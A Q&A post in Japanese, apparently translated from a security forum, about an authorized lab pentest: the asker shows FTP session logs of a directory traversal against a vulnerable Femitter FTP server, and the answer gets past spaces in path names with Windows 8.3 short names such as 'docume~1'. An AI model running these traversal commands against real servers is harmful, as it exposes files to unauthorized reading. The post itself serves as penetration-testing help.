質問: 空白を含むディレクトリに対するftpディレクトリトラバーサル攻撃 私はクローズドリファレンス環境で認可されたペンテストを実施しており、一見単純な問題に苦労しており、現在は解決できません。ms windows osで実行されている脆弱なfermitter ftpサーバーに対してディレクトリトラバーサル攻撃を実行しようとすると、システムルートでlistを実行することができます(アドレスとコンテンツのリストは参照用にここで変更されています)。# ftp 192.168.13.22 connected to 192.168.13.22. 220 femitter ftp server ready. name (192.168.13.22:root): 331 password required for root. password: 230 user root logged in. remote system type is unix. using binary mode to transfer files. ftp> ls ../../../../ 200 port command successful. 150 opening data connection for directory list. -rwxrwxrwx 1 ftp ftp 0 sep 23 2015 autoexec.bat -rw-rw-rw- 1 ftp ftp 0 sep 23 2015 config.sys drw-rw-rw- 1 ftp ftp 0 sep 23 2015 documents and settings dr--r--r-- 1 ftp ftp 0 sep 23 2015 program files drw-rw-rw- 1 ftp ftp 0 sep 23 2015 windows 226 file sent ok ただし、documents and settingsなどの空白を含むフォルダーの内容を一覧表示する場合、空白が無視されるため、ディレクトリの内容を一覧表示できません。ftp> ls ../../../../documents and settings/ usage: ls remote-directory local-file ftp> ls ../../../../documents\ and\ settings 200 port command successful. 150 opening data connection for directory list. /c:/program files/femitter/shared/../../../../documents not found 226 file sent ok ftp> ls ../../../../documents%20and%20settings 200 port command successful. 150 opening data connection for directory list. /c:/program files/femitter/shared/../../../../documents%20and%20settings not found 226 file sent ok ftp> ls ../../../../'documents and settings'/ usage: ls remote-directory local-file ftp> ls ../../../../"documents and settings"/ 200 port command successful. 150 opening data connection for directory list. /c:/program files/femitter/shared/../../../../documents not found 226 file sent ok ftp> ls "../../../../documents and settings/" 200 port command successful. 150 opening data connection for directory list. /c:/program files/femitter/shared/../../../../documents not found 226 file sent ok 私はすでに別のftpクライアント(linuxとwindowsではcliとgui)を使用してみましたが、空白を無視するか、ディレクトリトラバーサルを許可しませんでした。pythonへの攻撃のスクリプトを最初に生のソケット、次にftplibを使用してftpサーバーにhex形式で直接送信することも試みましたが、成功しませんでした。数時間ググリングしても機能する解決策は得られませんでした(そうです、機能しないオプションがたくさんありました)。そのため、同じ問題を抱えている誰かがここにいます。確かに、このような空白を含むディレクトリトラバーサルが必要になるのは今回が初めてではありません。
回答: @dogeatcatworldによって提案されたソリューションで、c:\docume~1\などのms windowsディレクトリの短い表記を使用します。ftp> ls ../../../../docume~1/ 200 port command successful. 150 opening data connection for directory list. drw-rw-rw- 1 ftp ftp 0 sep 23 2015 . drw-rw-rw- 1 ftp ftp 0 sep 23 2015 .. drw-rw-rw- 1 ftp ftp 0 sep 26 2015 administrateur drw-rw-rw- 1 ftp ftp 0 sep 23 2015 all users 226 file sent ok ms knowledge baseの本当に良い記事が8.3ディレクトリ表記について説明しています: windowsが長いファイル名から8.3ファイル名を生成する方法